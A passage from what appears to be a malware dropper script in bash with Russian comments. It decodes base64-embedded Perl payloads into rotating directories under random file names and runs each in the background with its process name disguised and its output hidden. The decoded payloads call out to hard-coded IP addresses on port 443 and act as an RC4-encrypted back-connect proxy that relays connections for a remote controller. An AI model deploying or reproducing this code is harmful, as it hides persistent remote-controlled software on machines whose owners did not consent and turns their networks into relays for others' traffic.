NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #19 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #19 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 20 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #20 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #20 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 21 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg 